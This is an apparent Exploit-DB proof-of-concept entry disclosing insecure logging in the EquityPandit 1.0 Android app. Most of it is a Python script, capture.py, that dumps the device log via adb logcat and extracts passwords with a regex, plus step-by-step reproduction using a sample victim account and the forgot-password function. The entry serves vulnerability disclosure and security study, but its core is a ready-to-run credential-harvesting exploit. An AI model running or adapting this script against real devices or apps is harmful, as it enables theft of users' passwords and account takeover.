1a6935f64a
3 changes to exploits/shellcodes Microsoft Windows - 'Win32k' Local Privilege Escalation EquityPandit 1.0 - Password Disclosure Petraware pTransformer ADC < 2.1.7.22827 - Login Bypass Phraseanet < 4.0.7 - Cross-Site Scripting
48 lines
No EOL
1.6 KiB
Text
48 lines
No EOL
1.6 KiB
Text
#Exploit title: EquityPandit v1.0 - Insecure Logging
|
|
#Date:27/05/2019
|
|
#Exploit Author: ManhNho
|
|
#Software name: "EquityPandit"
|
|
#Software link: https://play.google.com/store/apps/details?id=com.yieldnotion.equitypandit
|
|
#Version: 1.0
|
|
# Category: Android apps
|
|
#Description:
|
|
|
|
- Sometimes developers keeps sensitive data logged into the developer
|
|
console. Thus, attacker easy to capture sensitive information like password.
|
|
- In this application, with adb, attacker can capture password of any
|
|
users via forgot password function.
|
|
|
|
#Requirement:
|
|
|
|
- Santoku virtual machine
|
|
- Android virtual machine (installed "EquityPandit" apk file)
|
|
- Victim user/password: victim@abc.com/123456
|
|
- Exploit code named capture.py in Santoku vm as below:
|
|
|
|
import subprocess
|
|
import re
|
|
|
|
process_handler = subprocess.Popen(['adb', 'logcat', '-d'],
|
|
stdout=subprocess.PIPE)
|
|
dumps = process_handler.stdout.read()
|
|
password_list = re.findall(r'password\s(.*)', dumps)
|
|
print 'Captured %i passwords! \nThey are:' %len(password_list)
|
|
for index, item in enumerate(password_list):
|
|
print '\t#%i: %s' %(int(index)+1, item)
|
|
|
|
#Reproduce:
|
|
|
|
- Step 1: From Santoku, use adb to connect to Android machine (x.x.x.x)
|
|
|
|
adb connect x.x.x.x
|
|
|
|
|
|
- Step 2: From Android machine, open EquityPandit, click forgot password
|
|
function for acccount "victim@abc.com" and then click submit
|
|
- Step 3: From Santoku, execute capture.py
|
|
- Actual: Password of "victim@abc.com" will be show in terminal as
|
|
"123456"
|
|
|
|
#Demo:
|
|
|
|
https://github.com/ManhNho/Practical-Android-Penetration-Testing/blob/master/Images/Equitypandit%20PoC.wmv |